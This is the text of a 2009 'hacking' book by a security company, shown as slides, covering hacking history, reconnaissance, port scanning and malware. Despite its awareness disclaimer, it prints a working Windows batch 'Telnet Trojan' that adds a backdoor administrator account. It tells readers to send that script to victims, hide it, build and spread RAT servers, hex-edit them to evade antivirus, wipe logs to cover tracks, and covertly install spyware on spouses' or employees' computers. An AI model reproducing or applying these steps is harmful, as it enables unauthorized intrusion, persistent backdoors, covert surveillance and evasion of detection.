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Slide 1: THE SECRET OF HACKING FIRST EDITION MANISH KUMAR [CHFI,CEH,RHCE,MCP] [CHIEF SECURITY OFFICER]LEO IMPACT SECURITY SERVICES PVT. LTD.
Slide 2: “THE SECRET OF HACKING” HAS BEEN CONCEPTUALISED BY LEO IMPACT SECURITY SERVICES PVT LTD. (A PRIVATE LIMITED COMPANY REGISTERED IN INDIA, COMPANY NUMBER: 28837). THE OBJECTIVE OF THIS BOOK IS NOT TO IMPART TRAINING ON HACKING PROCEDURES BUT TO INCREASE AWARENESS ABOUT THE SECURITY ISSUES INVOLVED IN THE USE OF COMPUTERS AND INTERNET. THE CONTENTS OF THIS BOOK ARE EDUCATIVE, INFORMATIVE AND ARE MEANT ONLY FOR REFERENCE. IN VIEW OF THE DYNAMIC TECHNOLOGICAL ADVANCEMENTS & CHANGES, THE ACTUAL TECHNIQUES, RESULTS OR RESPONSES MAY VARY FROM THOSE DESCRIBED IN THIS BOOK . NEITHER THE AUTHOR NOR THE PUBLISHER , PRINTER OR THE DISTRIBUTORS OF THIS BOOK SHALL BE LIABLE TO ANY ONE FOR ANY ERRORS OR OMISSIONS. THIS BOOK IS BEING PUBLISHED AND SOLD SUBJECT TO THE CONDITION THAT THE READER SHALL NOT USE THE INFORMATION CONTAINED IN THIS BOOK FOR ANY UNLAWFUL, IMMORAL OR OTHER WRONGFUL PURPOSE. THE AUTHOR PUBLISHER, PRINTER AND DISTRIBUTORS OF THIS BOOK SHALL NOT BE LIABLE TO ANY PERSON FOR THE CONSEQUENCES SUFFERED AS A RESULT OF ANY ACTION TAKEN OR NOT TAKEN ON THE BASIS OF THE CONTENTS OF THIS BOOK. THE AUTHOR AND COMPANY MAY HAVE USED VARIOUS PROPRIETARY TRADEMARK/COPYRIGHT CONTENT IN THIS BOOK IN GOOD FAITH, PURELY FOR THE PURPOSE OF DESCRIBING OR IDENTIFYING THE PRODUCTS OR SERVICES OF THE RESPECTIVE TRADEMARK/COPYRIGHT CONTENT OWNERS. THIS BOOK AND ITS CONTENTS ARE NOT SPONSORED OR ENDORSED BY THE PROPRIETORS OF ANY TRADEMARK/COPYRIGHT MATERIAL USED IN THIS BOOK. © LEO IMPACT SECURITY SERVICES PVT. LTD. ALL RIGHTS RESERVED. NO PART OF THIS PUBLICATION MAY BE REPRODUCED OR TRANSMITTED, IN ANY FORM OR BY ANY MEANS, WITHOUT WRITTEN PERMISSION. ANY PERSON WHO COMMITS ANY UNAUTHORIZED ACT IN RELATION TO THIS PUBLICATION MAY BE LIABLE TO CRIMINAL PROSECUTION AND CIVIL CLAIMS FOR DAMAGES. First Print, May 2009 LEO IMPACT SECURITY SERVICES PVT. LTD. DELHI, JAIPUR, USA. PHONE: +1-213-814 0345 (INTERNATIONAL), +91-9953244518 (INDIA) THE AUTHOR(S) OF THE BOOK HAS/HAVE TAKEN ALL RELEVANT CARE TO ENSURE THAT THE CONTENTS OF THE BOOK DO NOT VIOLATE ANY EXISTING COPYRIGHT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY PERSON IN ANY MANNER WHATSOEVER. PLEASE NOTIFY THE COMPANY IN WRITING FOR CORRECTIVE ACTION IN AN EVENT WHERE THE AUTHOR HAS/HAVE BEEN UNABLE TO TRACK ANY SOURCE OR IF ANY COPYRIGHT HAS BEEN INADVERTENTLY INFRINGED UPON.
Slide 3: TO MY LOVING PARENTS, MY FRIENDS AND THE GIRL WHO STOOD BY ME ALL THE TIME AND WHO PROVIDED INSPIRATION, GUIDANCE, AND UNWAVERING SUPPORT. TO MY BROTHER FOR HELPING ME DEFINE MY CHARACTER AND TEACHING ME TO OVERCOME ADVERSITY. --MANISH KUMAR TO ALL OPEN SOURCE DEVELOPERS, ETHICAL HACKERS, AND SUPPORTERS OF FULL DISCLOSER, WITHOUT WHOM SECURITY COULD NEVER TRULY BE ACHIEVED.
Slide 4: ABOUT THE AUTHOR MANISH KUMAR, CHFI, CEH, RHCE, MCP MR. MANISH KUMAR IS THE CHIEF SECURITY OFFICER OF LEO IMPACT SECURITY, A PROFESSIONAL INFORMATION SECURITY SERVICES COMPANY , FOCUSSED ON PROVIDING SPECIALISED SOLUTIONS AND ASSISTANCE TO ORGANISATIONS IN PROTECTING AND SAGEGUARDING THEIR MOST VITAL BUSINESS RESOURCE I.E. INFORMATION, AGAINST LATEST THREATS. WITH AN EXPERIENCE OF MORE THAN 4 YEARS IN LEADING THE IT INDUSTRY, MR MANISH IS A PRINCIPAL INFORMATION SECURITY CONSULTANT, AUDITOR AND TRAINER, HAVING MORE THAN 1000 HOURS OF TRAINING PER YEAR IN THE VARIOUS DOMAINS OF THE INFORMATION SECURITY, CYBER FORENSIC, ETHICAL HACKING, BUSINESS CONTINUITY, WI-FI SECURITY AND MORE. HE HAS BEEN AWARDED MANY CERTIFICATIONS LIKE CERTIFIED HACKING FORENSIC INVESTIGATOR (CHFI), CERTIFIED ETHICAL HACKER (CEH), RED HAT CERTIFIED ENGINEER (RHCE) AND MICROSOFT CERTIFIED PROFESSIONAL, JUST TO NAME A FEW. POSSESSING AN INDEPTH KNOWLEDGE AND INSIGHT INTO TODAY'S SECURITY RISKS AND TOMORROWS POTENTIAL THREATS, HE HAS TO HIS CREDIT MANY REGISTERED AND PENDING PATENTS IN CYBER FORENSIC AND INFORMATION SECURITY DOMAIN . HE SPECIALIZES HIS RESEARCH IN NETWORK SECURITY, PENETRATION TESTING AND FORENSIC INVESTIGATION. INTERESTS INCLUDE COMPUTER SECURITY, NETWORKING, DATA FORENSIC, VIRTUALIZATION AND INFORMATION SECURITY. HE HAS BEEN INTERVIEWED BY SEVERAL PRINT AND ONLINE NEWSPAPERS WHERE HE HAS SHARED HIS EXPERIENCES RELATING TO CYBERWAR AND CYBER CRIMES. EMAIL: manish@leoimpact.com
Slide 5: CONTENTS 1. INTRODUCTION TO REAL HACKING 2. ADVANCED MALWARE RESEARCH 3. WINDOWS HACKING 4. PASSWORD HACKING 5. EMAIL HACKING 6. WEB APPLICATION HACKING 7. WEBSITE DEFACEMENT & DOMAIN HACKING 8. MISCELLANEOUS HACKING 9. MOBILE & COMPUTER FORENSIC 10. VOIP & WIRELESS HACKING 11. VULNERABILITY DISCOVERY & PENETRATION TESTING 12. ADVANCE HACKING WITH METASPLOIT 13. FIREWALL, IDS & HONEY POT HACKING. 14. SECURING SYSTEM & NETWORKS LINKS FEEDBACK
Slide 6: ACKNOWLEDGEMENTS IT IS IMPOSSIBLE TO ACCOMPLISH THE CONCEPTION AND AUTHORING OF A BOOK WITHOUT RESOURCES, INPUTS, COMMITMENT AND DEDICATED EFFORTS OF MANY HANDS. WE HAVE RELIED HEAVILY ON EACH OTHER, OUR EDITORS, AND ALL THE SECURITY FREAKS WHO HAVE BEEN PRESENT MUCH BEFORE THE PUBLIC RISE OF THE INTERNET. MOST IMPORTANTLY, THANKS TO OUR FAMILIES FOR SUPPORTING US DURING THE ENDLESS MONTHS OF RESEARCH, WRITING, AND REVISIONS. WE THOUGHT THE SECOND TIME AROUND WOULD GO QUICKER. AND FINALLY, A TREMENDOUS “THANK YOU” TO ALL THE READERS OF THE “THE SECRET OF HACKING”. YOUR NEVER-ENDING SUPPORT HAS INSPIRED AND ENSURED THAT THE TOPIC OF SECURITY COMES TO THE MUCH DESERVED LIMELIGHT , THEREBY EXPOSING THE TECHNIQUES OF HACKERS TO THOSE WHO MAY DESPERATELY NEED THEM. NAVIGATION THIS IS THE ATTACK ICON This makes it easy to identify specific hacking attack. Every attack is countered with practical, relevant and field tested procedures, which have their own special countermeasure icon.
Slide 7: CHAPTER-1 INTRODUCTION TO REAL HACKING x x x x x x What is Hacking? Understanding the Need to Hack Your Own Systems History of Hacking Top 5 Most Famous Hackers of All Times Real Hacking Process* How to Find Latest Exploits? 1 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 8: What is Hacking? Hacking is a process to bypass the security mechanisms of an information system or network. Or In common usage, hacker is a generic term for a computer criminal, often with a specific specialty in computer intrusion. While other definitions peculiar to the computer enthusiast community exist, they are rarely used in mainstream context. .. Or Hacking is an unauthorized use of computer and network resources. (The term "hacker" originally meant a very gifted programmer. In recent years though, with easier access to multiple systems, it now has negative implications.) Defining Hacker Hacker is a word that has two meanings: Traditionally, a hacker is someone who likes to tinker with software or electronic systems. Hackers enjoy exploring and learning how computer systems operate. Recently, hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gains. Technically, these criminals are crackers (criminal hackers). Crackers break into (crack) systems with malicious intent. They are out for personal gain: fame, profit, and even revenge. They modify, delete, and steal critical information, often making other people miserable. The good-guy (white-hat) hackers don’t like being in the same category as the bad-guy (blackhat) hackers. (These terms come from Western movies where the good guys wore white cowboy hats and the bad guys wore black cowboy hats.) Whatever the case, most people give hacker a negative connotation. Many malicious hackers claim that they don’t cause damage but instead are altruistically helping others. Yeah, right. Many malicious hackers are electronic thieves. Hackers (or bad guys) try to compromise computers. Ethical hackers (or good guys) protect computers against illicit entry. Understanding the Need to Hack Your Own Systems To catch a thief, think like a thief. That’s the basis for ethical hacking. The law of averages works against security. With the increased numbers and expanding knowledge of hackers combined with the growing number of system vulnerabilities and other unknowns, the time will come when all computer systems are hacked or compromised in some way. Protecting your systems from the bad guys — and not just the generic vulnerabilities that everyone knows about — is the need of the hour and is absolutely critical. 2 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 9: When you know hacker tricks, you can understand how vulnerable your systems are. Hacking preys on weak security practices and undisclosed vulnerabilities. As hackers expand their knowledge, so should you. What is an exploit? An exploit is a piece of malware code that takes advantage of a newly-announced or otherwise unpatched vulnerability in a software application, usually the operating system, a web browser or a program that routinely activates through a web browser (PDF reader, media player, or other 'plug-in'). A zero-day exploit is an exploit that takes advantage of a vulnerability on the same day that the vulnerability is announced. What is vulnerability? Software applications, such as the Microsoft operating system or your web browser are complex feats of engineering, often with millions of lines of programming code. Inevitably, errors creep into the code, and some of these errors create security vulnerabilities that malefactors can take advantage of with exploits and other malware. Hacking History? From phone phreaks to Web attacks, hacking has been a part of computing for 40 years. 1960 s The Dawn of Hacking The first computer hackers emerged at MIT. They borrow their name from a term to describe members of a model train group at the school who "hack" the electric trains, tracks, and switches to make them perform faster and differently. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied and developed on campus. 1980 s Hacker Message Boards and Groups Phone phreaks begin to move into the realm of computer hacking, and the first electronic bulletin board systems (BBSs) spring up. The precursor to Usenet newsgroups and e-mail, the boards--with names such as Sherwood Forest and Catch-22--become the venue of choice for phreaks and hackers to gossip, trade tips, and share stolen computer passwords and credit card numbers. 1988 The Morris Worm 3 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 10: Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the National Security Agency, launches a self-replicating worm on the government's ARPAnet (precursor to the Internet) to test its effect on UNIX systems. The worm gets out of hand and spreads to some 6000 networked computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years' probation, and fined $10,000. 1995 The Mitnick Takedown Serial cybertrespasser Kevin Mitnick is captured by federal agents and charged with stealing 20,000 credit card numbers. He's kept in prison for four years without a trial and becomes a cause célèbre in the hacking underground. After pleading guilty to seven charges at his trial in March 1999, he's eventually sentenced to little more than the time he had already served while he awaited a trial. Russian crackers siphon $10 million from Citibank and transfer the money to bank accounts around the world. Vladimir Levin, the 30-year-old ringleader, uses his work laptop after hours to transfer the funds to accounts in Finland and Israel.Levin stands trial in the United States and is sentenced to three years in prison. Authorities recover all but $400,000 of the stolen money. 1998 The Cult of Hacking and the Israeli Connection The hacking group Cult of the Dead Cow releases its Trojan horse program, Back Orifice--a powerful hacking tool--at Def Con. Once a hacker installs the Trojan horse on a machine running Windows 95 or Windows 98, the program allows unauthorized remote access of the machine. 2000 Service Denied In one of the biggest denial-of-service attacks to date, hackers launch attacks against eBay, Yahoo, Amazon, and others. Activists in Pakistan and the Middle East deface Web sites belonging to the Indian and Israeli governments to protest oppression in Kashmir and Palestine. 2001 DNS Attack Microsoft becomes the prominent victim of a new type of hack that attacks the domain name server. In these denial-of-service attacks, the DNS paths that take users to Microsoft's Web sites 4 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 11: are corrupted. The hack is detected within a few hours, but prevents millions of users from reaching Microsoft Web pages for two days. And counting…. Top 5 Most Famous Hackers of All Time 1. Jonathan James: James gained notoriety when he became the first juvenile to be sent to prison for hacking. He was sentenced at the age of 16 . In an anonymous PBS interview, he professes, "I was just looking around, playing around. What was fun for me was a challenge to see what I could pull off." James also cracked into NASA computers, stealing software worth approximately $1.7 million. 2. Adrian Lamo: Lamo's claim to fame is his break-ins at major organizations like The New York Times and Microsoft. Dubbed the "homeless hacker," he used Internet connections at Kinko's, coffee shops and libraries to make his intrusions. In a profile article, "He Hacks by Day, Squats by Night," Lamo reflects, "I have a laptop in Pittsburgh, a change of clothes in D.C. It kind of redefines the term multi-jurisdictional." 3. Kevin Mitnick: A self-proclaimed "hacker poster boy," Mitnick went through a highly publicized pursuit by authorities. His mischief was hyped by the media but his actual offenses may be less notable than his notoriety suggests. The Department of Justice describes him as "the most wanted computer criminal in United States history." His exploits were detailed in two movies: Freedom Downtime and Takedown. 4. Kevin Poulsen: Also known as Dark Dante, he gained recognition for his hack of LA radio's KIIS-FM phone lines, which earned him a brand new Porsche, among other items. His hacking specialty, however, revolved around telephones. 5. Robert Tappan Morris: Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act. Types of Hacking 1. Local Hacking Local hacking is done from local area where we have physical access, like through printer etc. We do this type of hacking through Trojans and viruses with the help of hard disk and pen drive. 2. Remote Hacking Remote hacking is done remotely by taking advantage of the vulnerability of the target system. We need to follow steps for remote hacking to enter on target system. 3. Social Engineering Social engineering is the act of manipulating people into performing actions or divulging confidential information. While similar to a confidence trick or simple fraud, the term typically applies to trickery or deception for the purpose of information gathering, fraud, or computer system access; in most cases the attacker never comes face-to-face. 5 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 12: Real Hacking Steps (Remote Hacking) ƒ ƒ ƒ ƒ ƒ ƒ ƒ ƒ ƒ 1. Information Gathering / Foot printing 2. Port Scanning 3. OS Fingerprinting 4. Banner Grabbing 5. Vulnerability Assessment 6. Search & Build Exploit 7. Attack 8. Maintain Access with help of Root kits and Trojans. 9. Covering Tracks 1. Information Gathering / Foot printing Information gathering is the process to get maximum details of target host. It is a very important part of remote hacking because the more information about target system we have, more the number of attacks we can launch. Information gathering is done with these steps: 1. Find our company URL / IP address 2. Google for more information from different websites 3. Foot printing Through Job Sites 4. Find out who is record of target domain name (open www.who.is ) 5. Find out physical location of victim (open www.whatismyipaddress.com) Case-Study: 1.1 You are working in your company as a hacker, and your company wants physical address , ip address, employee record and domain details. Your company gives u domain name: www.kulhari.net Ans) 1. open Dos prompt and type ping kulhari.net [Enter] after that you will get ip address of the victim. 2. open google.com and search kulhari.net (and browse website for all informations like contact number, employee records and their services) 3. for domain owner email address and hosting company details , open: www.who.is And type www.kulhari.net (any target site). 4. for physical location of server, open www.whatismyipaddress.com and type ip address that you get in step 1. and trace it after that. Video available at: www.thesecretofhacking.com/vd/ch1/cs11 6 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 13: 2. Port Scanning What is port? Port is medium for communication between 2 computers. Every service on a host is identified by a unique 16-bit number called a port. Some default ports: Port number 7 21 22 23 25 43 53 80 110 513 8080 Service Ping FTP(File transfer protocol) SSH (Secure shell) Telnet SMTP (Mail) WHOIS DNS HTTP POP3 (Mail Access) Rlogin Proxy TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) are two of the protocols that make up the TCP/IP protocol suite which is used universally to communicate on the Internet. Each of these has ports 0 through 65535 available ,so essentially there are more than 65,000 doors to lock. The first 1024 TCP ports are called the Well-Known Ports and are associated with standard services such as FTP, HTTP, SMTP or DNS. What is port scanning? It is similar to a thief going through your neighborhood and checking every door and window on each house to see which ones are open and which ones are locked. What is port scanner? A port scanner is a piece of software designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by hackers to identify running services on a host with the view to compromising it. To portscan a host is to scan for listening ports on a single target host. To portsweep is to scan multiple hosts for a specific listening port. Best port scanners: nmap, Hping2, Superscan. Download link: http://sectools.org/ Why we perform port scanning? 7 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 14: We perform port scanning for finding our open services, so after we can search exploits related to that service and application. Demo video: www.thesecretofhacking.com/vd/ch1/cs12 NMAP (Port Scanner): A Hacker’s Best Friend Nmap is a tool that has the ability to detect hosts, scanning ports and Oss. Nmap is used in matrix, sword and many hacking movies. Nmap Modes of operation: TCP PING: -PT: This method of pinging sends a TCP packet to the host with an ACK flag. If the host replies with an RST, then the host is UP (running). ICMP Ping: -PI: This is standard ping used by UNIX / Linux boxes. Connect():-ST: All Linux/Unix systems provide a system call to connect to a machine on a specified port, with a given protocol. SYN Stealth: -sS: This is stealth scan in that it does not get logged. How to Find Out Own computer Ports: Open Dos prompt and type following command. C:\> netstat –no After Show active connections: Active Connections Proto TCP TCP TCP TCP TCP TCP Local Address Foreign Address State 117.196.225.191:3604 69.93.227.45:80 ESTABLISHED 117.196.227.116:1067 80.190.154.74:80 CLOSE_WAIT 127.0.0.1:1990 127.0.0.1:1991 ESTABLISHED 127.0.0.1:1991 127.0.0.1:1990 ESTABLISHED 127.0.0.1:1992 127.0.0.1:1993 ESTABLISHED 127.0.0.1:1993 127.0.0.1:1992 ESTABLISHED PID 2148 3064 2020 2020 2020 2020 PID is Process ID , We can find out their associate application with help of following command: C:\> tasklist To terminate 2020 PID or another process C:\> taskkill /PID 2020 8 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 15: After All connections will be close on our system. NOTE: We can know that our system is infected or not with help of former commands, described. 3. OS Fingerprinting OS (Operating System) Fingerprinting is a process to find out victim's Operating System(Windows, Linux, UNIX) Introduction: When exploring a network for security auditing or inventory/administration, you usually want to know more than the bare IP addresses of identified machines. Your reaction to discovering a printer may be very different than to finding a router, wireless access point, telephone PBX, game console, Windows desktop, or Unix server. Finer grained detection (such as distinguishing Mac OS X 10.4 from 10.3) is useful for determining vulnerability to specific flaws and for tailoring effective exploits for those vulnerabilities. Tools: nmap, NetScanTools Pro, P0f. 4. Banner Grabbing Banner grabbing is an attack designed to deduce the brand and/or version of an operating system or application. Mean after port scanning we found open port 80 (apache) and target os is Linux, but we don’t know what is version of apache for remote hacking. Like apache 2.0, 2.2, or 2.6 . Example: c:\> telnet 69.93.227.34 80 [Enter] Change Target Port 80 to another. 5. Vulnerability Assessment What is Vulnerability Assessment? the word "vulnerability" describes a problem (such as a programming bug or common misconfiguration) that allows a system to be attacked or broken into. A vulnerability assessment is the process of identifying, quantifying, and prioritizing (or ranking) the vulnerabilities in a system. Vulnerability assessments can be conducted for small businesses to large regional infrastructures. Vulnerability from the perspective of Disaster Management means assessing the threats from potential hazards to the population and to the infrastructure developed in that particular region. It can be done in political, social, economic and in environmental fields. 9 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 16: Assessments are typically performed according to the following steps: 1. 2. 3. 4. Cataloging assets and capabilities (resources) in a system. Assigning quantifiable value (or at least rank order) and importance to those resources Identifying the vulnerabilities or potential threats to each resource Mitigating or eliminating the most serious vulnerabilities for the most valuable resources Automated Tools: Nessus, Nikto, Core impact, Retina, etc 6. Search & Build Exploit Manual Method: We can find vulnerability manually with help of vulnerability archive sites like www.milw0rm.com and http://www.packetstormsecurity.org/ For exploit and final attack, open the websites say Microsoft, adobe or mozilla which provides you the source code format. You need to download the code and compile them for preparing exploit for final attack. 7. Attack Launch attack on remote system and get reverse shell. 8. Maintain Access After getting remote access we place a root kit or Trojan virus for future remote access, without any password. [Read next chapter for more information] 9. Covering Tracks Covering Tracks is a process to delete all logs on the remote system. If target system is linux or UNIX, delete all entries of /var folder and if it is windows os delete all events and logs. Case Study: 1.3 You are working in abc company as a ethical hacker and your company get a contract from government to hack terrorist organization server for getting all their emails. Ans) 1st we perform Information gathering (like collect all information like IP address and physical address). 2nd we perform port scanning to find open ports: 22, 25, 80. And then perform OS fingerprinting with help of nmap and p0f and if result is “Linux 2.6” then next perform banner grabbing on port no: 25 (related to email server) in which command is used : 10 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 17: c:\> telnet abc.com 80 Result is : HTTP 1.1 400 BAD REQUEST Server: Apache 2.0 Linux So after we perform manual vulnerability assessment manually with help of www.milw0rm.com and search “Apache 2.0” Æ then after download exploit code -Æ compile the exploit code and attack then take all email backup from remote system. Project DONE! Note: Read Chapter number: 12 for advanced hacking. How to Find Latest Exploits? Manual Method Browse: www.milw0rm.com http://www.packetstormsecurity.org www.securityfocus.com Search exploits. See Video: www.thesecretofhacking.com/vd/ch1/cs13 Automatic Method Purchase these tools: 1. Core impact 2. Immunis Canvas 3.GFI LANguard 4.ISS Internet Scanner 5.QualysGuard 6. Saint What is exploit? An exploit is an attack on a computer system, especially one that takes advantage of a particular vulnerability that the system offers to intruders. Why we are Searching Latest Exploits? Because exploit is a code to enter on remote system or crash the system remotely. How do these weaknesses occur? • Many systems are shipped with: known and unknown security holes and bugs, and insecure default settings (passwords, etc.) • Many vulnerabilities occur as a result of misconfigurations by system administrators. 11 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 19: CHAPTER-2 ADVANCED MALWARE RESEARCH What is Malware? Types of Malware How to Create virus How to Spread Virus* Catching Malwares x x x x x 13 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 20: What is Malware? Malware, a portmanteau from the words malicious and software, is software designed to infiltrate or damage a computer system without the owner's informed consent. The expression is a general term used by computer professionals to mean a variety of forms of hostile, intrusive, or annoying software or program code.[1] The term "computer virus" is sometimes used as a catchall phrase to include all types of malware, including true viruses. [Source: Wikipedia] Types of Malware 1. Virus 2. Worm 3. Trojan 4. Root Kit 5. Spyware 14 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 21: 1. VIRUS The term virus(vital information resource under size) is used for a program written by a computer programmer which has infected some executable software and which causes that software, when run, to spread the virus to other executable software. Viruses may also contain a payload which performs other actions, often malicious. [Source: Wikipedia] The purpose of virus: Virus writers need bandwidth, CPU control, data and remote access . Basic virus purpose is to only destroy the data. 2. WORM Worm is also a virus but automatically transmits itself over a network to infect other computers. It too may carry a payload. Worm is more powerful and harmful and worm automatically infects system softwares. Main purpose to write worm is to use bandwidth and CPU and hang network services. 3. TROJAN Trojan horse is also a type of virus which is used to control remote machine without system owner knowledge. Trojan has two parts : 1. server 2. client , Server handles all infected remote computers' connections and client is used to infect victim computer system. Every Trojan has its associated port number for communication over internet or LAN. Case study: 2.1 (Hack any windows XP computer) Video Demo: www.thesecretofhacking.com/vd/ch2/cs21 Telnet Trojan Target : All windows XP machines. Features: Fully undetectable for all antiviruses. --------------------------------------------------------------------------------------------------------------------echo off sc config TlntSvr start= auto sc start TlntSvr tlntadmn config sec=-NTLM tlntadmn config mode=stream net user leoimpact /add net user leoimpact leo123 net localgroup administrators leoimpact /add exit Write the above code in the notepad and save as myvirus.bat and send it through email, pen drive, etc to other system for remote control. 15 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 22: Action: After executing the above script a user leoimpact is created and its password is: leo123 and then telnet port will open with full administrative rights. Note: The limitation of the above script is that the user will be visible on the target system. But we can hide the user with help of downloading and executing the www.thesecretofhacking.com/sw/ch2/hide.reg This script has another limitation which shows a prompt which may caution the target system user but we can hide prompt window with help of BAT to EXE converter. [Download link: www.thesecretofhacking.com/sw/ch2/bat.zip ] How to Connect Remote Machine: C:\> Telnet remotemachineipaddress [enter] We can create Trojan viruses with help of Trojan builders(RAT): Best tools to create own Trojan (client) part and to control all infected machines are: 1. Lost door v3.0 Stable* 2. NetBus 2.0 Pro 1.Lost Door : Lost door is a remote administration tool for Microsoft Windows operating systems. You can control and monitor remote computer easily and view what user does. Illegal usage of this software is not allowed. Coder and related site is not responsible for any abuse of the software. Download: http://www.lostdoor.cn Download: www.thesecretofhacking.com/sw/ch2/lostdoor.rar 16 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 23: Features: x x x x x x x x x x x x x x x x x x x x x x x [+] Reverse Connection [+] Webcam Shot [+] Date& time Manger [+] printer [+] Control pannel [+] Pc control [+] Exucutor [+] Dos command [+] Windows manager [+] Screen Shot [+] Remote server manager [+] Server remover [+] Ip Graber [+] Server Downloader [+] Icon Changer [+] Audio Streaming [+] Encrypt Settings [+] Volume Control [+] Connection Logs [+] Instaled Appliction [+] Infect All USB [+] Multilanguage [+] Invisible in Searching Files x x x x x x x x x x x x x x x x x x x x x x x [+] Services Viewer [+] Remote passwords [+] MSN Controler [+] Remote Shell [+] Chat with server [+] Send fake messages [+] files manager [+] Find files [+] Change remote screen resolution [+] Information about remote computer [+] Clipboard manager [+] IE options [+] Running Process [+] Online keylogger [+] Offline keylogger [+] Fun Menu [+] Remote Nat viewer [+] Rmote Resotr Manager [+] Added Some Graphics [+] Some minor Bugs fixed [+] Some Forms Has Been Modified [+] News Navigator was Added [+] Server Size (120kb) How to create Trojan virus with help of Lost door? 1. For LAN(Local area Network) 2. For WAN(Internet) 1. For LAN: Open Lost doorÆ click on Create server button and then a dialog box appears where you mention server own ip address---then…create)))) then server.exe will be created on lost door folder .. then send this exe to target system for remote control. For establishing the connection from server to victim. Start your server>> just click start listen Button. To control the victim system, right click and connect.. 17 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 24: Case study: 2.2 (Hack any windows computer with help of Trojan virus:LAN) Video Demo: www.thesecretofhacking.com/vd/ch2/cs22 2. For WAN(Internet) The Lost door has limitation for WAN, where our computer needs direct internet connection. We can infect many remote users with help of email, orkut, chat (After download server.exe that was created by Lost door). When we create a server.exe our clients can communicate one time because our internet service provider provides dynamic ip address .So to overcome this problem we sign up with www.no-ip.com and provide static DNS for dynamic IP address. Click No-Ip FREE: For Create a free hostname to point to your dynamic IP. (try now) and fill the form and mention your email address and password and after add a host. and download a client for change ip record on dns so that we mention hostname : ex: sprithunter008.no-ip.biz . use this host name in create a server address tab. Case study: 2.3 (Hack any windows computer with help of Trojan virus:WAN) Video Demo: www.thesecretofhacking.com/vd/ch2/cs23 2. Net BUS Pro: NetBus 2.0 Pro", (often just called "NetBus 2.0") the latest version of this well known backdoor program, was announced on the homepage of C.F. Neikter for February 1999 - and was published on February 19th. The latest version "NetBus 2.01 Pro" was published on April 5th. You can download the setup-file of "NetBus 2.01 Pro" from this server. "NetBus 2.0 Pro" was completely re-written and re-designed. It now has increased features and is called "a remote administration and spy tool". Download: http://www.netbus.org/ Note: Free edition of Lost door and netbus can be detected from easily as virus so purchase private edition of lost door and netbus for undetectable version, if you do not want to purchase private edition, do hexa editing of server.exe. Video: www.thesecretofhacking.com/vd/ch2/cshexa 18 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 25: 4. ROOTKIT Root kit is also a virus like Trojan for remote access of any system. Root kit is very powerful as compared to Trojan because root kit implements on kernel level of any operating system, which is hard to detect and delete. Root kit is invisible in taskmanager as it hides itself. Download Rootkits: http://www.packetstormsecurity.org/UNIX/penetration/rootkits/ If you want to prevent your system from rootkit use Rootkit Hunter. 5. SPYWARE Spyware is computer software that is installed surreptitiously on a personal computer to collect information about a user, their computer or browsing habits without the user's informed consent. While the term spyware suggests software that secretly monitors the user's behavior, the functions of spyware extend well beyond simple monitoring. Spyware programs can collect various types of personal information, such as Internet surfing habits and sites that have been visited, but can also interfere with user control of the computer in other ways, such as installing additional software and redirecting Web browser activity. 1. Spectersoft eBlaster eBlaster is the most dependable, full-featured remote surveillance product available from the world wide leader in Internet monitoring software. Robust and secure for the most demanding businesses, yet easy for even computer novices to install and use effectively, eBlaster provides both Instant Notification Email and Chat Alerts with Comprehensive Hourly and Daily Activity Reports to give you the power and control to: Record PC Activity, Including: • Emails sent and received • Both sides of Chats and Instant Messages • Web Sites visited • Sensitive Words and Phrases • Every Keystroke typed • Logon/Logoff activity Download url: www.thesecretofhacking.com/sw/ch2/eblaster.rar 19 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 26: 2. Buddy Spy Buddy Spy allows you to monitor and keep track of what other Yahoo Messenger! users are doing, even if they are in Invisible or Stealth Mode. The program shows if the user is online, what chat room they are in (if any) and if their web cam is online. It is able to do this by connecting to Yahoo! Messenger's servers and using its YMSG protocol. Sending carefully crafted packets, and listening to their responses. Download URL: www.buddy-spy.com 3. Real Spy Monitor 2.90 Portable Real Spy Monitor can monitor all PC activity including keystrokes typed, web sites visited, windows opened, program executed, screen snapshots, files/docs accessed and more. It can also record instant messenger conversations including AOL, ICQ, MSN, AIM, Yahoo Messenger, and capture web mail content from MSN, Hotmail, and Yahoo. The program can run in semistealth mode (visible in Task Manager) and automatically send logs to a specified email address. Additional features include screenshot capture and content filtering. The program does not include any documentation. Because it is sold commercially, most anti-virus vendors do not detect them. The most common form of a commercial monitoring tool comes in the form of a keystroke logger, which intercepts keystrokes from the keyboard and records them in some form of a log. This can then be sent to whoever installed the keystroke logger, or keylogger, onto the machine. Worried about how your PC is being used? Want to keep tabs on your children, spouse, employees? Need to Prevent your children or employee from some application or web sites? Real Spy Monitor is the full solution for you. For example, you can use Real Spy Monitor to : - Monitor Keystrokes typed, Websites visited, Windows viewed, Program executed, Screen snapshots, Files/Docs accessed. - Log Internet Chat conversation including AOL/ICQ/MSN/AIM Instant Messengers - Spy Web Mail Content including MSN/HotMail, Yahoo! Mail - Prevent your children or employee from some application or websites that include special keywords. - When you left your your PC, Record your PC actions and send them through Email delivery at set times. Download URL: www.thesecretofhacking.com/sw/ch2/realspy.rar You can Download Many Applications 